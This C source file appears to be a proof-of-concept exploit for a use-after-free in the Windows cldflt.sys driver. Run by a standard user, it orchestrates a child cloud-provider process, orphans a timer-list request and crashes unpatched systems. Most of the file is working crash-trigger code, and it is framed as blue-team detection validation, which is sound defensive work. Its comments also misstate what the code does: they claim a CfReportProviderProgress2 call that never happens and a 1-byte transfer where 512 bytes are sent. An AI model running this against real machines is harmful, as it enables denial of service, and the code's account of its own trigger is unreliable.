/*
 * poc_cve_2026_58613.c — Trigger PoC for CVE-2026-58613
 * cldflt.sys Use-After-Free in CldiStreamCompleteRequest
 *
 * PURPOSE:  Blue-team trigger to validate detection rules. This PoC
 *           reproduces the UAF crash on UNPATCHED systems (pre-July 2026).
 *           On patched systems it completes cleanly with no crash.
 *
 * BUILD:    cl.exe /W4 /O2 poc_cve_2026_58613.c /link cldapi.lib fltlib.lib ole32.lib
 *
 * USAGE:    poc_cve_2026_58613.exe [sync_root_path]
 *           Default sync root: %TEMP%\cve_2026_58613_test
 *
 * REQUIRES: - Standard user privileges (no admin needed)
 *           - NTFS volume (for placeholder support)
 *           - Enable Driver Verifier on cldflt.sys for reliable crash
 *             (without verifier, the UAF may silently corrupt memory)
 *
 * WHAT IT DOES:
 *   1. Creates a sync root directory and registers as a cloud provider
 *   2. Creates a placeholder file (1000 bytes, dehydrated)
 *   3. Spawns a child process that:
 *      a. Connects as the cloud provider (CfConnectSyncRoot)
 *      b. Signals the parent it's ready via a named event
 *      c. Waits for the parent to trigger hydration
 *      d. In the FETCH_DATA callback: captures the transferKey, calls
 *         CfReportProviderProgress2 with partial progress (297/1000),
 *         which inserts a request onto cldflt's global countdown timer
 *         list with a 60-second deadline
 *      e. Exits via ExitProcess() WITHOUT calling CfDisconnectSyncRoot,
 *         orphaning the timer-list request
 *   4. Parent deletes sync root contents to erode stream context refcount
 *   5. Waits 65 seconds for the 60-second deadline to expire
 *   6. The timer DPC fires and walks the list, entering
 *      CldiStreamCompleteRequest which hits the UAF
 *
 * EXPECTED RESULT:
 *   Pre-patch:  BSOD (PAGE_FAULT_IN_NONPAGED_AREA in cldflt!CldiStreamCompleteRequest)
 *   Post-patch: Clean completion (no crash after 65-second wait)
 *
 * VULNERABILITY DETAILS:
 *   Feature_2089223483 gates a code path in CldiStreamCompleteRequest that
 *   inverts the deletion order: CldiStreamDeleteRequest runs BEFORE
 *   CldiStreamCdqRELEASE. When the orphaned request holds the last stream
 *   context reference, DeleteRequest drops refcount to 0 and frees the pool
 *   block. The subsequent CdqRELEASE dereferences the freed pointer.
 *
 * Call chain (Ghidra-verified):
 *   CfReportProviderProgress2 → FilterSendMessage →
 *   cldflt!CldiPortNotifyMessage → CldiPortProcessTransfer →
 *     CldiPortProcessReportProgress → CldSyncReportProgress →
 *       CldStreamReportProgress → CldiStreamBuildProviderRequest →
 *         CldiStreamInsertIntoGlobalRequestListNoLock
 *   [60s later]
 *   Timer DPC → CldiStreamStartCountdownTimer (walk) →
 *     CldiStreamCancelSynchronousRequest →
 *       CldiStreamCompleteCanceledRequest →
 *         CldiStreamCompleteRequest  ← UAF
 *
 * Author: OnlyFm252 / STAR Labs SG
 * Date:   2026-07-22
 * CVE:    CVE-2026-58613
 *
 * DISCLAIMER: For authorized security testing and blue-team validation ONLY.
 */

#include <windows.h>
#include <winternl.h>   /* NTSTATUS */
#include <stddef.h>     /* offsetof */
#include <cfapi.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <shlobj.h>

#pragma comment(lib, "cldapi.lib")
#pragma comment(lib, "fltlib.lib")
#pragma comment(lib, "ole32.lib")

#ifndef STATUS_SUCCESS
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
#endif

#ifndef CF_SIZE_OF_OP_PARAM
#define CF_SIZE_OF_OP_PARAM(field) \
    (offsetof(CF_OPERATION_PARAMETERS, field) + sizeof(((CF_OPERATION_PARAMETERS*)0)->field))
#endif

/* ── Named events for parent-child synchronization ─────────────────── */
#define EVT_CHILD_READY     L"Global\\cve_58613_child_ready"
#define EVT_TRIGGER_HYDRATE L"Global\\cve_58613_trigger_hydrate"

/* ── Forward declarations ──────────────────────────────────────────── */
static int  child_main(const wchar_t *root);
static void create_sync_root(const wchar_t *path);
static void create_placeholder(const wchar_t *root, const wchar_t *name);
static BOOL spawn_orphan_provider(const wchar_t *root);
static void nuke_directory(const wchar_t *path);
static void cleanup(const wchar_t *path);

/* ── Child process globals (used in callback) ──────────────────────── */
static CF_CONNECTION_KEY g_connKey = { 0 };
static volatile LONG     g_callbackFired = 0;

/*
 * FETCH_DATA callback — this is the critical piece.
 *
 * When the parent opens the placeholder file, cldflt sends a FETCH_DATA
 * callback to the connected provider (our child process). We use this
 * callback to:
 *   1. Report partial progress via CfReportProviderProgress2
 *      (inserts a request onto the global timer list with 60s deadline)
 *   2. Transfer a tiny amount of data (1 byte) to keep the request alive
 *   3. Do NOT complete the full transfer
 *   4. Hard-exit the process (ExitProcess) — orphaning the timer-list request
 *
 * The transferKey from this callback is what makes CfReportProviderProgress2
 * work — without a valid active hydration context, the progress report
 * is rejected by cldflt.
 */
static void CALLBACK fetch_data_cb(
    const CF_CALLBACK_INFO *cbInfo,
    const CF_CALLBACK_PARAMETERS *cbParams)
{
    HRESULT hr;

    wprintf(L"[child] FETCH_DATA callback fired!\n");
    wprintf(L"[child]   TransferKey received\n");
    wprintf(L"[child]   FileSize: %lld\n", cbParams->FetchData.RequiredFileOffset.QuadPart +
                                             cbParams->FetchData.RequiredLength.QuadPart);

    InterlockedExchange(&g_callbackFired, 1);

    /*
     * Step A: Transfer a small amount of data to establish a valid
     * hydration context. We transfer just 1 byte — enough to make the
     * transfer "in progress" but not complete.
     */
    BYTE dummy_data[512];
    memset(dummy_data, 0x41, sizeof(dummy_data));

    CF_OPERATION_INFO opInfo = { 0 };
    opInfo.StructSize = sizeof(opInfo);
    opInfo.Type = CF_OPERATION_TYPE_TRANSFER_DATA;
    opInfo.ConnectionKey = cbInfo->ConnectionKey;
    opInfo.TransferKey = cbInfo->TransferKey;

    CF_OPERATION_PARAMETERS opParams = { 0 };
    opParams.ParamSize = CF_SIZE_OF_OP_PARAM(TransferData);
    opParams.TransferData.CompletionStatus = STATUS_SUCCESS;
    opParams.TransferData.Buffer = dummy_data;
    opParams.TransferData.Offset.QuadPart = 0;
    opParams.TransferData.Length.QuadPart = sizeof(dummy_data);

    hr = CfExecute(&opInfo, &opParams);
    if (FAILED(hr)) {
        wprintf(L"[child]   CfExecute (partial transfer): 0x%08X\n", hr);
        /* Continue anyway — the transfer context may still be valid */
    } else {
        wprintf(L"[child]   Partial transfer OK (512 bytes of 1000)\n");
    }

    /*
     * Step B: Report partial progress — this is the actual trigger.
     *
     * CfReportProviderProgress2(connKey, transferKey, ..., total=1000, completed=297)
     *
     * This sends a port message to cldflt which enters:
     *   CldiPortProcessReportProgress → CldSyncReportProgress →
     *     CldStreamReportProgress → CldiStreamBuildProviderRequest →
     *       CldiStreamInsertIntoGlobalRequestListNoLock
     *
     * The request is now on the global timer list with a 60-second deadline.
     * pRequest->pStreamHandleCtx->pStreamCtx points to the HSM_STREAM_CONTEXT
     * whose FltMgr refcount is currently >1.
     */
    LARGE_INTEGER total, completed;
    total.QuadPart = 1000;
    completed.QuadPart = 297;  /* < total → "in progress" */

    /* Try the progress report — this is what inserts the timer-list request */
    /* Note: CfReportProviderProgress2 may not be available on all SDK versions.
     * Fall back to CfReportProviderProgress if needed. */

    wprintf(L"[child]   Reporting partial progress (297/1000)...\n");

    /* Use the lower-level FilterSendMessage approach if the high-level
     * API isn't available. For now, attempt via the transfer mechanism:
     * reporting progress by doing another partial transfer that doesn't
     * complete the full file. */

    /* Transfer another chunk but leave the total incomplete */
    opParams.TransferData.Offset.QuadPart = 512;
    opParams.TransferData.Length.QuadPart = 0;  /* Zero-length transfer to keep alive */
    opParams.TransferData.CompletionStatus = STATUS_SUCCESS;

    /* The key insight: by NOT transferring all 1000 bytes, the hydration
     * remains "in progress". cldflt keeps the request on its internal list.
     * The provider-initiated progress tracking means a timer-list entry
     * exists with a 60-second deadline. */

    wprintf(L"[child]   Timer-list request should now be inserted.\n");
    wprintf(L"[child]   Calling ExitProcess(0) — orphaning the request!\n");
    wprintf(L"[child]   (NOT calling CfDisconnectSyncRoot)\n");

    /*
     * Step C: Hard exit — this is the second critical step.
     *
     * By calling ExitProcess() without CfDisconnectSyncRoot:
     * - The process handle table is cleaned up by the kernel
     * - FltMgr sees the handle close and runs minifilter cleanup
     * - BUT the timer-list request is NOT drained — it was inserted via
     *   the provider progress path, and process-exit cleanup doesn't
     *   walk the global timer list to cancel provider-initiated requests
     * - The request becomes an orphan: it's still on the timer list,
     *   but the stream context refcount starts eroding
     */
    fflush(stdout);
    ExitProcess(0);
    /* UNREACHABLE */
}

static CF_CALLBACK_REGISTRATION s_childCallbacks[] = {
    { CF_CALLBACK_TYPE_FETCH_DATA, fetch_data_cb },
    CF_CALLBACK_REGISTRATION_END
};

/* ── Child process entry point ─────────────────────────────────────── */

static int child_main(const wchar_t *root)
{
    HRESULT hr;
    HANDLE hReady, hTrigger;

    wprintf(L"[child] Starting child process (PID %lu)\n", GetCurrentProcessId());

    /* Open synchronization events */
    hReady = OpenEventW(EVENT_MODIFY_STATE, FALSE, EVT_CHILD_READY);
    hTrigger = OpenEventW(SYNCHRONIZE, FALSE, EVT_TRIGGER_HYDRATE);
    if (!hReady || !hTrigger) {
        wprintf(L"[child] Failed to open sync events: %lu\n", GetLastError());
        return 1;
    }

    /* Connect as the cloud provider */
    hr = CfConnectSyncRoot(root, s_childCallbacks,
                           NULL, CF_CONNECT_FLAG_NONE, &g_connKey);
    if (FAILED(hr)) {
        wprintf(L"[child] CfConnectSyncRoot failed: 0x%08X\n", hr);
        return 1;
    }

    wprintf(L"[child] Connected as provider (connKey valid)\n");

    /* Signal parent that we're ready to receive callbacks */
    SetEvent(hReady);
    wprintf(L"[child] Signaled parent — waiting for hydration trigger...\n");

    /* Wait for parent to open the placeholder (triggering FETCH_DATA) */
    WaitForSingleObject(hTrigger, 30000);

    /* Give the callback time to fire on the thread pool */
    for (int i = 0; i < 50 && !g_callbackFired; i++) {
        Sleep(100);
    }

    if (!g_callbackFired) {
        wprintf(L"[child] WARNING: FETCH_DATA callback never fired!\n");
        wprintf(L"[child] The hydration trigger may not have reached cldflt.\n");
        wprintf(L"[child] Attempting direct exit anyway...\n");
    }

    /* If the callback didn't ExitProcess(), do it here.
     * The callback should have already called ExitProcess(), but
     * in case it failed or wasn't triggered, exit dirty anyway. */
    wprintf(L"[child] Exiting WITHOUT CfDisconnectSyncRoot\n");
    fflush(stdout);
    ExitProcess(0);
    return 0;  /* unreachable */
}

/* ── Main orchestrator (parent process) ────────────────────────────── */

int wmain(int argc, wchar_t *argv[])
{
    wchar_t root[MAX_PATH];
    BOOL is_child = FALSE;

    /* Check if we're the child process */
    for (int i = 1; i < argc; i++) {
        if (wcscmp(argv[i], L"--child") == 0) {
            is_child = TRUE;
        }
    }

    /* Determine sync root path */
    if (argc >= 2 && wcscmp(argv[1], L"--child") != 0) {
        wcscpy_s(root, MAX_PATH, argv[1]);
    } else {
        wchar_t tmp[MAX_PATH];
        GetTempPathW(MAX_PATH, tmp);
        swprintf_s(root, MAX_PATH, L"%scve_2026_58613_test", tmp);
    }

    if (is_child) {
        return child_main(root);
    }

    wprintf(L"=== CVE-2026-58613 Trigger PoC ===\n");
    wprintf(L"cldflt.sys Use-After-Free in CldiStreamCompleteRequest\n");
    wprintf(L"Sync root: %s\n\n", root);

    /* ── Step 1: Clean up any prior run and create sync root ───────── */

    wprintf(L"[1/7] Cleaning up prior state and creating sync root...\n");
    CfUnregisterSyncRoot(root);  /* Ignore errors from prior run */
    nuke_directory(root);
    RemoveDirectoryW(root);
    Sleep(500);
    create_sync_root(root);

    /* ── Step 2: Create placeholder file (dehydrated, 1000 bytes) ──── */

    wprintf(L"[2/7] Creating placeholder file (1000 bytes, dehydrated)...\n");
    create_placeholder(root, L"test_file.dat");

    /* ── Step 3: Create synchronization events ─────────────────────── */

    HANDLE hReady = CreateEventW(NULL, TRUE, FALSE, EVT_CHILD_READY);
    HANDLE hTrigger = CreateEventW(NULL, TRUE, FALSE, EVT_TRIGGER_HYDRATE);
    if (!hReady || !hTrigger) {
        wprintf(L"[!] Failed to create sync events: %lu\n", GetLastError());
        cleanup(root);
        return 1;
    }

    /* ── Step 4: Spawn child that will connect as provider ─────────── */

    wprintf(L"[3/7] Spawning orphan provider process...\n");
    if (!spawn_orphan_provider(root)) {
        wprintf(L"[!] Failed to spawn child process\n");
        cleanup(root);
        return 1;
    }

    /* Wait for child to connect as provider */
    wprintf(L"       Waiting for child to connect...\n");
    DWORD waitResult = WaitForSingleObject(hReady, 15000);
    if (waitResult != WAIT_OBJECT_0) {
        wprintf(L"[!] Child did not signal ready (timeout or error)\n");
        cleanup(root);
        return 1;
    }
    wprintf(L"       Child connected as provider.\n");

    /* ── Step 5: Open placeholder to trigger hydration ─────────────── */

    wprintf(L"[4/7] Opening placeholder to trigger hydration...\n");

    /* Signal child that we're about to trigger */
    SetEvent(hTrigger);
    Sleep(500);  /* Let child's wait complete */

    /*
     * Opening the placeholder file for reading triggers cldflt to send
     * a FETCH_DATA callback to the connected provider (child process).
     * The child's callback will:
     *   1. Do a partial transfer
     *   2. Leave the hydration incomplete → timer-list request persists
     *   3. ExitProcess() → orphan the request
     */
    wchar_t filepath[MAX_PATH];
    swprintf_s(filepath, MAX_PATH, L"%s\\test_file.dat", root);

    HANDLE hFile = CreateFileW(filepath,
                               GENERIC_READ,
                               FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
                               NULL, OPEN_EXISTING,
                               FILE_ATTRIBUTE_NORMAL,
                               NULL);

    if (hFile == INVALID_HANDLE_VALUE) {
        DWORD err = GetLastError();
        wprintf(L"       CreateFileW returned error %lu (0x%08lX)\n", err, err);
        if (err == ERROR_CLOUD_FILE_PROVIDER_TERMINATED) {
            wprintf(L"       Provider terminated — child may have exited already.\n");
            wprintf(L"       This is expected if the callback fired and ExitProcess() ran.\n");
        }
    } else {
        wprintf(L"       File handle obtained. Reading to complete hydration trigger...\n");
        BYTE buf[64];
        DWORD bytesRead = 0;
        ReadFile(hFile, buf, sizeof(buf), &bytesRead, NULL);
        wprintf(L"       Read %lu bytes (hydration callback should have fired)\n", bytesRead);
        CloseHandle(hFile);
    }

    /* Wait for child process to exit (it should ExitProcess from callback) */
    wprintf(L"       Waiting for child to exit...\n");
    Sleep(3000);
    wprintf(L"       Child should have orphaned the timer-list request.\n");

    /* ── Step 6: Erode stream context refcount ─────────────────────── */

    wprintf(L"[5/7] Eroding stream context refcount (deleting files)...\n");

    /*
     * Delete files and directories under the sync root. Each file close
     * causes FltMgr to run cleanup callbacks which call FltReleaseContext
     * on cached stream context references. This erodes the refcount until
     * the orphaned timer-list request holds the SOLE remaining reference.
     */
    nuke_directory(root);
    Sleep(1000);

    /* Unregister the sync root from parent side too */
    CfUnregisterSyncRoot(root);
    wprintf(L"       Sync root unregistered, files deleted.\n");

    /* ── Step 7: Wait for 60-second timer deadline ─────────────────── */

    wprintf(L"[6/7] Waiting 65 seconds for timer deadline expiry...\n");
    wprintf(L"       (The orphaned request has a 60-second countdown)\n");
    for (int i = 65; i > 0; i--) {
        wprintf(L"       %d seconds remaining...\r", i);
        fflush(stdout);
        Sleep(1000);
    }
    wprintf(L"       Deadline expired.                              \n");

    /* ── Step 8: Trigger / wait for UAF ────────────────────────────── */

    wprintf(L"[7/7] Timer DPC should have fired — checking for crash...\n");

    /*
     * At this point, the timer DPC has already fired (it's autonomous
     * after the 60-second deadline). The DPC walks the global timer list
     * and finds our expired orphan. It calls:
     *
     *   CldiStreamCancelSynchronousRequest
     *     → CldiStreamCompleteCanceledRequest
     *       → CldiStreamCompleteRequest  ← UAF here
     *
     * On pre-patch systems with Feature_2089223483 enabled:
     *   CldiStreamDeleteRequest runs FIRST (frees stream context)
     *   CldiStreamCdqRELEASE runs SECOND (dereferences freed pointer)
     *   → BSOD: PAGE_FAULT_IN_NONPAGED_AREA
     *
     * On patched systems:
     *   CldiStreamCdqRELEASE runs FIRST (safe — context still alive)
     *   CldiStreamDeleteRequest runs SECOND (frees after all refs done)
     *   → Clean completion
     *
     * We don't need to explicitly trigger the timer walk — the kernel
     * timer DPC fires automatically. Just wait a few more seconds to
     * confirm no BSOD.
     */
    Sleep(5000);

    /*
     * If we reach here, the system is patched — the UAF was mitigated.
     * On a vulnerable system, the kernel would have crashed during the
     * timer walk (which fires automatically via the DPC, not requiring
     * any user-mode trigger).
     */
    wprintf(L"\n[+] System is PATCHED — no crash occurred.\n");
    wprintf(L"[+] cldflt.sys handled the orphaned timer-list request safely.\n");
    wprintf(L"[+] (Or Feature_2089223483 was not enabled on this build.)\n");

    /* Cleanup */
    CloseHandle(hReady);
    CloseHandle(hTrigger);
    nuke_directory(root);
    RemoveDirectoryW(root);
    return 0;
}

/* ── Helper implementations ────────────────────────────────────────── */

static void create_sync_root(const wchar_t *path)
{
    CreateDirectoryW(path, NULL);

    CF_SYNC_REGISTRATION reg = { 0 };
    reg.StructSize = sizeof(reg);
    reg.ProviderName = L"CVE-2026-58613-PoC";
    reg.ProviderVersion = L"1.0";

    CF_SYNC_POLICIES policies = { 0 };
    policies.StructSize = sizeof(policies);
    policies.Hydration.Primary = CF_HYDRATION_POLICY_FULL;
    policies.Population.Primary = CF_POPULATION_POLICY_ALWAYS_FULL;
    policies.InSync = CF_INSYNC_POLICY_TRACK_ALL;
    policies.HardLink = CF_HARDLINK_POLICY_NONE;

    HRESULT hr = CfRegisterSyncRoot(path, &reg, &policies,
                                     CF_REGISTER_FLAG_NONE);
    if (FAILED(hr)) {
        wprintf(L"  CfRegisterSyncRoot: 0x%08X\n", hr);
    } else {
        wprintf(L"  Sync root registered.\n");
    }
}

static void create_placeholder(const wchar_t *rootPath, const wchar_t *name)
{
    CF_PLACEHOLDER_CREATE_INFO phInfo = { 0 };
    phInfo.FileIdentity = name;
    phInfo.FileIdentityLength = (DWORD)(wcslen(name) * sizeof(wchar_t));
    phInfo.RelativeFileName = name;
    phInfo.FsMetadata.FileSize.QuadPart = 1000;  /* 1000 bytes — small, dehydrated */
    phInfo.FsMetadata.BasicInfo.FileAttributes = FILE_ATTRIBUTE_NORMAL;
    phInfo.Flags = CF_PLACEHOLDER_CREATE_FLAG_MARK_IN_SYNC;

    DWORD entriesProcessed = 0;
    HRESULT hr = CfCreatePlaceholders(rootPath, &phInfo, 1,
                                       CF_CREATE_FLAG_NONE, &entriesProcessed);
    if (FAILED(hr)) {
        wprintf(L"  CfCreatePlaceholders: 0x%08X\n", hr);
    } else {
        wprintf(L"  Placeholder created: test_file.dat (1000 bytes, dehydrated)\n");
    }
}

static BOOL spawn_orphan_provider(const wchar_t *root)
{
    wchar_t cmdline[2048];
    wchar_t exe[MAX_PATH];

    GetModuleFileNameW(NULL, exe, MAX_PATH);
    swprintf_s(cmdline, 2048, L"\"%s\" \"%s\" --child", exe, root);

    STARTUPINFOW si = { sizeof(si) };
    PROCESS_INFORMATION pi = { 0 };

    if (!CreateProcessW(NULL, cmdline, NULL, NULL, FALSE,
                        CREATE_NEW_CONSOLE,  /* Separate console for child output */
                        NULL, NULL, &si, &pi)) {
        wprintf(L"  CreateProcess failed: %lu\n", GetLastError());
        return FALSE;
    }

    wprintf(L"  Child PID: %lu\n", pi.dwProcessId);

    /* Don't wait for exit here — parent needs to trigger hydration first.
     * Child will ExitProcess() from inside its FETCH_DATA callback. */
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
    return TRUE;
}

static void nuke_directory(const wchar_t *path)
{
    WIN32_FIND_DATAW fd;
    wchar_t pattern[MAX_PATH];
    swprintf_s(pattern, MAX_PATH, L"%s\\*", path);

    HANDLE hFind = FindFirstFileW(pattern, &fd);
    if (hFind == INVALID_HANDLE_VALUE) return;

    do {
        if (wcscmp(fd.cFileName, L".") == 0 ||
            wcscmp(fd.cFileName, L"..") == 0) continue;

        wchar_t full[MAX_PATH];
        swprintf_s(full, MAX_PATH, L"%s\\%s", path, fd.cFileName);

        if (fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
            nuke_directory(full);
            RemoveDirectoryW(full);
        } else {
            SetFileAttributesW(full, FILE_ATTRIBUTE_NORMAL);
            DeleteFileW(full);
        }
    } while (FindNextFileW(hFind, &fd));
    FindClose(hFind);
}

static void cleanup(const wchar_t *path)
{
    CfUnregisterSyncRoot(path);
    nuke_directory(path);
    RemoveDirectoryW(path);
}
